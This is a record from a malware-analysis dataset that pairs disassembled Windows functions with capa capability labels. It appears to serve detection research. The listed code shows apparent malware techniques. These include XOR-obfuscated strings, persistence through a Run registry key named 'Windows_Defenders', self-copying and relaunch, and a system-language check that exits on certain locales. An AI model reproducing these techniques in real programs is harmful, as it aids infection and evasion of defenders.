joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407c12
Capabilities:
Enumerate files on windows

Disassembly:
push 0x1b4
mov eax, 0x42dcf2
call fcn.0041992a
mov dword [ebp - 0x1a0], edx
mov esi, ecx
mov dword [ebp - 0x1a4], esi
mov dword [ebp - 0x1a8], esi
xor ecx, ecx
mov dword [ebp - 0x19c], ecx
mov edi, esi
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [esi], ecx
mov dword [esi + 4], ecx
mov dword [esi + 8], ecx
mov dword [ebp - 4], ecx
xor ebx, ebx
inc ebx
lea ecx, [ebp - 0x40]
push 0x4386b4
mov dword [ebp - 0x19c], ebx
call fcn.004044fb
pop ecx
mov dword [ebp - 4], ebx
lea ecx, [ebp - 0x198]
cmp dword [ebp - 0x2c], 0xf
lea eax, [ebp - 0x40]
push ecx
cmova eax, dword [ebp - 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x407d4e
lea eax, [ebp - 0x16c]
push eax
lea ecx, [ebp - 0x28]
call fcn.00404293
mov edx, dword [ebp - 0x1a0]
lea ecx, [ebp - 0x1c0]
push 0x437f98
mov byte [ebp - 4], 2
call fcn.004044fb
pop ecx
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 3
push ecx
mov ecx, eax
call fcn.0040441b
push eax
lea ecx, [ebp - 0x58]
call fcn.0040425a
or ebx, 2
mov dword [ebp - 0x19c], ebx
lea ecx, [ebp - 0x1c0]
mov byte [ebp - 4], 5
call fcn.004025e6
test byte [ebp - 0x198], 0x10
je 0x407d1d
mov edx, 0x4386b0
lea ecx, [ebp - 0x28]
call fcn.0040849f
test al, al
jne 0x407d1d
mov edx, 0x4386b8
lea ecx, [ebp - 0x28]
call fcn.0040849f
test al, al
jne 0x407d1d
lea eax, [ebp - 0x58]
mov ecx, esi
push eax
call fcn.004081ce
lea ecx, [ebp - 0x58]
call fcn.004025e6
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 1
call fcn.004025e6
lea eax, [ebp - 0x198]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x407c8d
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
lea ecx, [ebp - 0x40]
call fcn.004025e6
mov eax, esi
call fcn.004198d9
ret
Function at 0x407d5e
Capabilities:
Enumerate files on windows

Disassembly:
push 0x1b4
mov eax, 0x42dcf2
call fcn.0041992a
mov dword [ebp - 0x1a0], edx
mov esi, ecx
mov dword [ebp - 0x1a4], esi
mov dword [ebp - 0x1a8], esi
xor ecx, ecx
mov dword [ebp - 0x19c], ecx
mov edi, esi
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [esi], ecx
mov dword [esi + 4], ecx
mov dword [esi + 8], ecx
mov dword [ebp - 4], ecx
xor ebx, ebx
inc ebx
lea ecx, [ebp - 0x40]
push 0x4386b4
mov dword [ebp - 0x19c], ebx
call fcn.004044fb
pop ecx
mov dword [ebp - 4], ebx
lea ecx, [ebp - 0x198]
cmp dword [ebp - 0x2c], 0xf
lea eax, [ebp - 0x40]
push ecx
cmova eax, dword [ebp - 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x407e9a
lea eax, [ebp - 0x16c]
push eax
lea ecx, [ebp - 0x28]
call fcn.00404293
mov edx, dword [ebp - 0x1a0]
lea ecx, [ebp - 0x1c0]
push 0x437f98
mov byte [ebp - 4], 2
call fcn.004044fb
pop ecx
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 3
push ecx
mov ecx, eax
call fcn.0040441b
push eax
lea ecx, [ebp - 0x58]
call fcn.0040425a
or ebx, 2
mov dword [ebp - 0x19c], ebx
lea ecx, [ebp - 0x1c0]
mov byte [ebp - 4], 5
call fcn.004025e6
test byte [ebp - 0x198], 0x10
je 0x407e5e
mov edx, 0x4386b0
lea ecx, [ebp - 0x28]
call fcn.0040849f
test al, al
jne 0x407e69
mov edx, 0x4386b8
lea ecx, [ebp - 0x28]
call fcn.0040849f
test al, al
jne 0x407e69
lea eax, [ebp - 0x58]
mov ecx, esi
push eax
call fcn.004081ce
lea ecx, [ebp - 0x58]
call fcn.004025e6
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 1
call fcn.004025e6
lea eax, [ebp - 0x198]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x407dd9
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
lea ecx, [ebp - 0x40]
call fcn.004025e6
mov eax, esi
call fcn.004198d9
ret
Function at 0x407eaa
Capabilities:
Encode data using xor

Disassembly:
push 0x3c
mov eax, 0x42dd51
call fcn.004198f7
mov esi, ecx
xor ebx, ebx
mov dword [ebp - 0x18], ebx
push ebx
lea eax, [ebp + 0x38]
mov dword [ebp - 4], 3
push eax
lea ecx, [ebp + 8]
call fcn.004041f1
or edi, 0xffffffff
mov dword [ebp - 0x18], 0x39
cmp eax, edi
jne 0x407f18
mov eax, dword [str.Q_3ST_G_reRU8]
mov dword [ebp - 0x14], eax
cmp byte [0x438593], bl
je 0x407f05
xor ecx, ecx
xor edx, edx
mov eax, ecx
div dword [ebp - 0x18]
add dl, 0x30
xor byte [ebp + ecx - 0x14], dl
inc ecx
cmp ecx, 4
jl 0x407ef1
lea edx, [ebp - 0x14]
lea ecx, [ebp + 0x38]
call fcn.0040849f
test al, al
je 0x407fd9
push edi
push 0x4386b0
lea ecx, [ebp + 8]
call fcn.004081f7
xor ebx, ebx
inc ebx
mov dword [ebp - 0x18], ebx
cmp eax, edi
je 0x407f73
mov ecx, dword [ebp + 0x18]
dec ecx
cmp eax, ecx
jae 0x407f73
push edi
inc eax
lea ecx, [ebp + 8]
push eax
lea eax, [ebp - 0x48]
push eax
call fcn.00404167
push ebx
push 0x4386b0
push 0
mov ecx, eax
mov byte [ebp - 4], 4
call fcn.0040831a
push eax
lea ecx, [ebp - 0x30]
call fcn.0040425a
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 3
call fcn.004025e6
push 7
jmp 0x407f82
push 0x437f86
lea ecx, [ebp - 0x30]
call fcn.00404293
push 3
pop ebx
lea edx, [ebp + 0x20]
lea ecx, [ebp - 0x30]
call fcn.0040846b
test al, al
jne 0x407fca
cmp byte [0x438593], 0
mov eax, dword [str.Q_3ST_G_reRU8]
mov dword [ebp - 0x14], eax
je 0x407fbb
push 0x39
xor ecx, ecx
pop edi
xor edx, edx
mov eax, ecx
div edi
add dl, 0x30
xor byte [ebp + ecx - 0x14], dl
inc ecx
cmp ecx, 4
jl 0x407fa8
lea edx, [ebp - 0x14]
lea ecx, [ebp + 0x20]
call fcn.0040849f
test al, al
je 0x407fd9
lea ecx, [ebp + 0x38]
call fcn.004072cb
cmp eax, 0x1400000
jb 0x407fdd
mov byte [ebp - 0x18], 0
test bl, 1
je 0x407fea
lea ecx, [ebp - 0x30]
call fcn.004025e6
cmp byte [ebp - 0x18], 0
je 0x408021
sub esp, 0x18
lea eax, [ebp + 0x50]
mov ecx, esp
mov dword [ebp - 0x18], esp
push eax
call fcn.004042cc
sub esp, 0x18
mov byte [ebp - 4], 5
lea eax, [ebp + 8]
mov ecx, esp
push eax
call fcn.004042cc
mov ecx, esi
mov byte [ebp - 4], 3
call fcn.00407662
add esp, 0x30
lea ecx, [ebp + 8]
call fcn.004025e6
lea ecx, [ebp + 0x20]
call fcn.004025e6
lea ecx, [ebp + 0x38]
call fcn.004025e6
lea ecx, [ebp + 0x50]
call fcn.004025e6
call fcn.004198c5
ret
Function at 0x4097bc
Capabilities:
Encode data using xor

Disassembly:
push 0x6c
mov eax, 0x42dfee
call fcn.0041992a
mov dword [ebp - 0x24], ecx
and dword [ebp - 4], 0
lea eax, [ebp - 0x1c]
push eax
mov ecx, edx
call fcn.0040cdc7
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x18]
mov ebx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
cmp ebx, eax
je 0x4098ed
add ebx, 0x18
mov esi, str.BW_TNH_
lea edi, [ebp - 0x30]
xor ecx, ecx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
xor edx, edx
mov eax, ecx
push 0x32
pop esi
div esi
add dl, 0x35
xor byte [ebp + ecx - 0x30], dl
inc ecx
cmp ecx, 9
jl 0x4097ff
lea eax, [ebp + 8]
push eax
lea edx, [ebp - 0x30]
lea ecx, [ebp - 0x60]
call fcn.00405063
pop ecx
push 1
push 0x437f98
mov ecx, eax
mov byte [ebp - 4], 2
call fcn.00404497
push eax
lea ecx, [ebp - 0x78]
call fcn.0040425a
lea eax, [ebx - 0x18]
mov byte [ebp - 4], 3
push eax
lea ecx, [ebp - 0x78]
call fcn.0040441b
push eax
lea ecx, [ebp - 0x48]
call fcn.0040425a
mov byte [ebp - 4], 4
mov eax, ebx
cmp dword [ebx + 0x14], 0xf
jbe 0x409867
mov eax, dword [ebx]
cmp dword [ebp - 0x34], 0xf
lea edx, [ebp - 0x48]
push ecx
push dword [ebx + 0x10]
cmova edx, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x24]
push eax
call fcn.004186fa
add esp, 0xc
lea ecx, [ebp - 0x48]
call fcn.004025e6
lea ecx, [ebp - 0x78]
call fcn.004025e6
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 1
call fcn.004025e6
push 0
lea eax, [ebp + 8]
mov esi, 0x43f960
push eax
mov ecx, esi
call fcn.004041f1
cmp eax, 0xffffffff
jne 0x4098de
push 0x437f94
lea edx, [ebp + 8]
lea ecx, [ebp - 0x60]
call fcn.004044fb
pop ecx
push eax
mov ecx, esi
mov byte [ebp - 4], 5
call fcn.0040441b
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 1
call fcn.004025e6
add ebx, 0x30
lea eax, [ebx - 0x18]
cmp eax, dword [ebp - 0x20]
jne 0x4097f2
lea ecx, [ebp - 0x1c]
call fcn.004067ea
lea ecx, [ebp + 8]
call fcn.004025e6
call fcn.004198d9
ret
Function at 0x40c107
Capabilities:
Encode data using xor
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
mov eax, dword [0x43f040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, 0x104
lea eax, [ebp - 0x110]
push esi
push eax
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x40c234
push esi
lea eax, [ebp - 0x110]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
test eax, eax
je 0x40c234
lea eax, [ebp - 0x224]
push eax
call fcn.0040c23b
mov esi, eax
push 0x32
pop edi
mov dword [ebp - 0x21c], edi
cmp byte [esi + 7], bl
je 0x40c182
mov ecx, ebx
xor edx, edx
mov eax, ecx
div edi
add dl, 0x35
xor byte [ecx + esi], dl
inc ecx
cmp ecx, 8
jl 0x40c170
push esi
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x218]
push eax
call edi
lea eax, [ebp - 0x224]
push eax
call fcn.0040c256
mov esi, eax
cmp byte [esi + 7], bl
je 0x40c1d1
mov ecx, ebx
xor edx, edx
mov eax, ecx
div dword [ebp - 0x21c]
add dl, 0x35
xor byte [ecx + esi], dl
inc ecx
cmp ecx, 8
jl 0x40c1bb
push esi
lea eax, [ebp - 0x218]
push eax
call edi
lea eax, [ebp - 0x224]
push eax
call fcn.0040c271
mov esi, eax
cmp byte [esi + 7], bl
je 0x40c205
push 0x32
mov ecx, ebx
pop edi
xor edx, edx
mov eax, ecx
div edi
add dl, 0x35
xor byte [ecx + esi], dl
inc ecx
cmp ecx, 8
jl 0x40c1f3
push 0x104
lea eax, [ebp - 0x110]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x40c234
push ebx
push ebx
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x110]
push eax
push ebx
push ebx
call dword [0x440840]
push ebx
call fcn.0041cd0f
int3

Function at 0x40c3b9
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, eax
test ebx, ebx
je 0x40c413
cmp byte [0x438b19], 0
push esi
push edi
mov esi, str.fRTU
lea edi, [ebp - 0x10]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
je 0x40c401
xor ecx, ecx
xor edx, edx
mov eax, ecx
push 0x32
pop esi
div esi
add dl, 0x35
xor byte [ebp + ecx - 0x10], dl
inc ecx
cmp ecx, 0xe
jl 0x40c3eb
lea eax, [ebp - 0x10]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
pop edi
mov dword [0x440840], eax
pop esi
pop ebx
leave
ret
Function at 0x40c416
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push 0x3c
mov eax, 0x42e50a
call fcn.0041992a
push 0xf
pop esi
mov dword [ebp - 4], 1
lea ecx, [ebp + 8]
cmp dword [ebp + 0x1c], esi
mov eax, dword [ebp + 0x18]
cmova ecx, dword [ebp + 8]
add eax, ecx
cmp dword [ebp + 0x1c], esi
lea ecx, [ebp + 8]
cmova ecx, dword [ebp + 8]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x44]
call fcn.0040ca8a
mov byte [ebp - 4], 2
lea ecx, [ebp + 0x20]
cmp dword [ebp + 0x34], esi
mov eax, dword [ebp + 0x30]
cmova ecx, dword [ebp + 0x20]
add eax, ecx
cmp dword [ebp + 0x34], esi
lea ecx, [ebp + 0x20]
cmova ecx, dword [ebp + 0x20]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x2c]
call fcn.0040ca8a
xor esi, esi
lea eax, [ebp - 0x48]
push esi
push eax
push esi
push 2
push esi
push esi
push esi
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x40c4d1
mov eax, dword [ebp - 0x1c]
lea edx, [ebp - 0x2c]
cmp dword [ebp - 0x18], 7
lea ecx, [ebp - 0x44]
cmova edx, dword [ebp - 0x2c]
cmp dword [ebp - 0x30], 7
lea eax, [eax*2 + 2]
push eax
cmova ecx, dword [ebp - 0x44]
push edx
push 1
push esi
push ecx
push dword [ebp - 0x48]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x48]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x2c]
call fcn.0040c934
lea ecx, [ebp - 0x44]
call fcn.0040c934
lea ecx, [ebp + 8]
call fcn.004025e6
lea ecx, [ebp + 0x20]
call fcn.004025e6
call fcn.004198d9
ret
Function at 0x40c4f7
Capabilities:
Encode data using xor

Disassembly:
push 0x9c
mov eax, 0x42e55e
call fcn.0041992a
xor ebx, ebx
push 0xe
pop ecx
mov dword [ebp - 4], ebx
lea edi, [ebp - 0xa8]
mov esi, str.FU_LXIPO
rep movsd dword es:[edi], dword [esi]
push 0x32
mov ecx, ebx
movsw word es:[edi], word [esi]
pop edi
xor edx, edx
mov eax, ecx
div edi
add dl, 0x35
xor byte [ebp + ecx - 0xa8], dl
inc ecx
cmp ecx, 0x3a
jl 0x40c522
lea eax, [ebp + 8]
push eax
lea edx, [ebp - 0xa8]
lea ecx, [ebp - 0x54]
call fcn.00405063
pop ecx
push 4
push str.___F
mov ecx, eax
mov byte [ebp - 4], 1
call fcn.00404497
push eax
lea ecx, [ebp - 0x28]
call fcn.0040425a
lea ecx, [ebp - 0x54]
mov byte [ebp - 4], 3
call fcn.004025e6
cmp dword [0x440840], 0
je 0x40c635
cmp byte [0x438cd7], 0
mov eax, dword [0x438cd4]
mov dword [ebp - 0x34], eax
je 0x40c5a5
mov ecx, ebx
xor edx, edx
mov eax, ecx
div edi
add dl, 0x35
xor byte [ebp + ecx - 0x34], dl
inc ecx
cmp ecx, 4
jl 0x40c592
lea eax, [ebp - 0x28]
push eax
lea edx, [ebp - 0x34]
lea ecx, [ebp - 0x6c]
call fcn.00405063
pop ecx
mov esi, eax
mov byte [ebp - 4], 4
cmp dword [esi + 0x14], 0xf
jbe 0x40c5c3
mov esi, dword [esi]
cmp byte [0x438dfb], 0
mov eax, dword [0x438df4]
mov ecx, dword [str.B_w_YYWY_fY_U_IY]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], ecx
je 0x40c5f2
mov ecx, ebx
xor edx, edx
mov eax, ecx
div edi
add dl, 0x35
xor byte [ebp + ecx - 0x3c], dl
inc ecx
cmp ecx, 8
jl 0x40c5df
mov eax, dword [0x438b24]
mov ecx, ebx
mov dword [ebp - 0x30], eax
mov al, byte [0x438b28]
mov byte [ebp - 0x2c], al
xor edx, edx
mov eax, ecx
div edi
add dl, 0x35
xor byte [ebp + ecx - 0x30], dl
inc ecx
cmp ecx, 5
jl 0x40c604
push ebx
push ebx
push esi
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x30]
push eax
push ebx
call dword [0x440840]
lea ecx, [ebp - 0x6c]
mov byte [ebp - 4], 3
call fcn.004025e6
sub esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x34], esp
push eax
call fcn.004042cc
sub esp, 0x18
mov byte [ebp - 4], 5
mov ecx, esp
push str.Windows_Defenders
call fcn.00404293
mov byte [ebp - 4], 3
call fcn.0040c416
add esp, 0x30
lea ecx, [ebp - 0x28]
call fcn.004025e6
lea ecx, [ebp + 8]
call fcn.004025e6
xor al, al
call fcn.004198d9
ret
Function at 0x40c67d
Capabilities:
Copy file
Encode data using xor

Disassembly:
push 0x24c
mov eax, 0x42e598
call fcn.0041992a
push 0x104
lea eax, [ebp - 0x224]
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x224]
push eax
lea ecx, [ebp - 0x258]
call fcn.00404293
mov esi, eax
mov ecx, dword [0x438c6c]
mov edx, dword [0x438c70]
push 0x32
mov dword [ebp - 0x22c], ecx
mov dword [ebp - 0x228], edx
pop edi
cmp byte [0x438c73], bl
je 0x40c6f0
mov ecx, ebx
xor edx, edx
mov eax, ecx
div edi
add dl, 0x35
xor byte [ebp + ecx - 0x22c], dl
inc ecx
cmp ecx, 8
jl 0x40c6da
push ebx
lea eax, [ebp - 0x22c]
mov ecx, esi
push eax
call fcn.004041bb
lea ecx, [ebp - 0x258]
mov esi, eax
call fcn.004025e6
cmp esi, 0xffffffff
jne 0x40c84e
push 0x1a
pop edx
lea ecx, [ebp - 0x258]
call fcn.00405d75
push 1
push 0x437f98
lea ecx, [ebp - 0x258]
mov dword [ebp - 4], ebx
call fcn.00404497
push eax
lea ecx, [ebp - 0x23c]
call fcn.0040425a
cmp dword [ebp - 0x228], 0xf
lea ecx, [ebp - 0x23c]
lea edx, [ebp - 0x11c]
cmova ecx, dword [ebp - 0x23c]
sub edx, ecx
mov al, byte [ecx]
mov byte [edx + ecx], al
inc ecx
test al, al
jne 0x40c760
lea ecx, [ebp - 0x23c]
call fcn.004025e6
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x258]
call fcn.004025e6
mov esi, str.bcsqUHH
lea edi, [ebp - 0x234]
push 0x32
mov ecx, ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
pop esi
xor edx, edx
mov eax, ecx
div esi
add dl, 0x35
xor byte [ebp + ecx - 0x234], dl
inc ecx
cmp ecx, 0xd
jl 0x40c798
lea edx, [ebp - 0x234]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x40c7b6
lea edi, [ebp - 0x11c]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x40c7c6
mov ecx, edx
lea eax, [ebp - 0x11c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push ebx
mov ecx, edx
push eax
and ecx, 3
lea eax, [ebp - 0x224]
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x40c84e
call fcn.0040c3b9
mov esi, dword [0x440840]
test esi, esi
je 0x40c84e
mov eax, dword [0x438b24]
mov ecx, ebx
mov dword [ebp - 0x22c], eax
mov al, byte [0x438b28]
push 0x32
mov byte [ebp - 0x228], al
pop edi
xor edx, edx
mov eax, ecx
div edi
add dl, 0x35
xor byte [ebp + ecx - 0x22c], dl
inc ecx
cmp ecx, 5
jl 0x40c81f
push ebx
push ebx
push ebx
lea eax, [ebp - 0x11c]
push eax
lea eax, [ebp - 0x22c]
push eax
push ebx
call esi
cmp eax, 0x20
ja 0x40c854
call fcn.004198d9
ret
sub esp, 0x18
lea eax, [ebp - 0x11c]
mov ecx, esp
push eax
call fcn.00404293
call fcn.0040c4f7
add esp, 0x18
push ebx
call fcn.0041cd0f
int3

Function at 0x40c962
Capabilities:
Create thread

Disassembly:
push 8
mov eax, 0x42e60b
call fcn.0041992a
mov esi, ecx
push 4
xor ebx, ebx
call fcn.00418fbb
mov ecx, eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x14], ecx
mov dword [ecx], eax
lea edi, [esi + 4]
mov dword [ebp - 4], ebx
push edi
push ebx
push ecx
push 0x40cb78
push ebx
push ebx
call fcn.0041ce81
add esp, 0x1c
mov dword [esi], eax
test eax, eax
je 0x40c9ab
mov eax, esi
call fcn.004198d9
ret 4
push 6
mov dword [edi], ebx
call fcn.00418c0b
int3
Function at 0x40d531
Capabilities:
Identify system language via api

Disassembly:
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
movzx eax, ax
mov ecx, 0x419
cmp ax, cx
je 0x40d586
add ecx, 0x12
cmp ax, cx
je 0x40d586
mov ecx, 0x423
cmp ax, cx
je 0x40d586
add ecx, 0x14
cmp ax, cx
je 0x40d586
mov ecx, 0x43f
cmp ax, cx
je 0x40d586
add ecx, 0xffffffe9
cmp ax, cx
je 0x40d586
mov ecx, 0x843
cmp ax, cx
je 0x40d586
mov ecx, 0x422
cmp ax, cx
setne al
ret
xor al, al
ret

Function at 0x40d589
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1dc
mov eax, dword [0x43f040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, str.eBWA_a_a
lea edi, [ebp - 0x1c0]
mov ebx, ecx
xor ecx, ecx
push 0x31
mov dword [ebp - 0x1b4], ebx
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x1b4], ebx
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
pop esi
xor edx, edx
mov eax, ecx
div esi
add dl, 0x30
xor byte [ebp + ecx - 0x1c0], dl
inc ecx
cmp ecx, 0xb
jl 0x40d5c2
lea eax, [ebp - 0x1c0]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x1b4], eax
test eax, eax
je 0x40d649
cmp byte [str.Cbubwp], 0
lea edi, [ebp - 0x1d8]
push 5
pop ecx
mov esi, str.u_GpEGTXC
rep movsd dword es:[edi], dword [esi]
je 0x40d629
push 0x31
xor ecx, ecx
pop esi
xor edx, edx
mov eax, ecx
div esi
add dl, 0x30
xor byte [ebp + ecx - 0x1d8], dl
inc ecx
cmp ecx, 0x14
jl 0x40d60d
mov eax, dword [ebp - 0x1b4]
lea ecx, [ebp - 0x1d8]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
jne 0x40d666
push dword [ebp - 0x1b4]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0x437f86
mov ecx, ebx
call fcn.00404293
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00418fad
leave
ret
push 0x1a3
lea eax, [ebp - 0x1ab]
mov dword [ebp - 0x1b0], 0x1a8
push 0
push eax
mov byte [ebp - 0x1ac], 0
call fcn.0041ad40
add esp, 0xc
lea eax, [ebp - 0x1b0]
push 1
push eax
push 1
push 0
call esi
push dword [ebp - 0x1b4]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
test esi, esi
je 0x40d649
lea eax, [ebp - 0x18c]
push eax
jmp 0x40d64e

Function at 0x40d76f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
mov esi, 0x438e8c
lea edi, [ebp - 0xc]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
xor edi, edi
mov ecx, edi
xor edx, edx
mov eax, ecx
push 0x31
pop esi
div esi
add dl, 0x30
xor byte [ebp + ecx - 0xc], dl
inc ecx
cmp ecx, 9
jl 0x40d786
lea eax, [ebp - 0xc]
push eax
push 1
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
mov esi, eax
test esi, esi
je 0x40d7bd
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x40d7c1
pop edi
pop esi
leave
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.0041cd0f
int3
Function at 0x40d7cf
Capabilities:
Encode data using xor
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
lea ecx, [ebp - 0x20]
push ebx
push esi
push edi
call fcn.0040d589
mov ebx, 0x440ec8
push eax
mov ecx, ebx
call fcn.00404225
lea ecx, [ebp - 0x20]
call fcn.004025e6
cmp dword [0x440ed8], 1
jb 0x40d93e
mov esi, 0x438eac
lea edi, [ebp - 0x1c]
push 0x31
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
xor esi, esi
pop edi
xor edx, edx
mov eax, esi
div edi
add dl, 0x30
xor byte [ebp + esi - 0x1c], dl
inc esi
cmp esi, 0x11
jl 0x40d814
lea edx, [ebp - 0x1c]
mov ecx, ebx
call fcn.0040849f
test al, al
jne 0x40d93e
sub esp, 0x18
mov ecx, esp
push 0x440df0
call fcn.004042cc
mov edx, 0x155
lea ecx, [ebp - 0x20]
call fcn.004075bc
add esp, 0x18
mov edx, 0x438a24
mov ecx, eax
call fcn.0040849f
lea ecx, [ebp - 0x20]
mov bl, al
call fcn.004025e6
test bl, bl
jne 0x40d877
call fcn.0040d76f
mov ax, word [0x43855c]
mov word [ebp - 4], ax
test ah, ah
je 0x40d89a
xor ecx, ecx
xor edx, edx
mov eax, ecx
div edi
add dl, 0x30
xor byte [ebp + ecx - 4], dl
inc ecx
cmp ecx, 2
jl 0x40d887
sub esp, 0x18
lea esi, [ebp - 4]
mov ecx, esp
push 0x440dc0
call fcn.004042cc
push 0x7d
pop edx
lea ecx, [ebp - 0x20]
call fcn.004075bc
add esp, 0x18
mov edx, esi
mov ecx, eax
call fcn.0040849f
lea ecx, [ebp - 0x20]
mov bl, al
call fcn.004025e6
test bl, bl
je 0x40d8d6
call fcn.0040d6e2
mov ax, word [0x43855c]
mov word [ebp - 4], ax
test ah, ah
je 0x40d8f9
xor ecx, ecx
xor edx, edx
mov eax, ecx
div edi
add dl, 0x30
xor byte [ebp + ecx - 4], dl
inc ecx
cmp ecx, 2
jl 0x40d8e6
sub esp, 0x18
lea esi, [ebp - 4]
mov ecx, esp
push 0x440e68
call fcn.004042cc
push 0x7d
pop edx
lea ecx, [ebp - 0x20]
call fcn.004075bc
add esp, 0x18
mov edx, esi
mov ecx, eax
call fcn.0040849f
lea ecx, [ebp - 0x20]
mov bl, al
call fcn.004025e6
test bl, bl
je 0x40d939
call fcn.0040d531
test al, al
je 0x40d93e
pop edi
pop esi
pop ebx
leave
ret
push 0
call fcn.0041cd0f
int3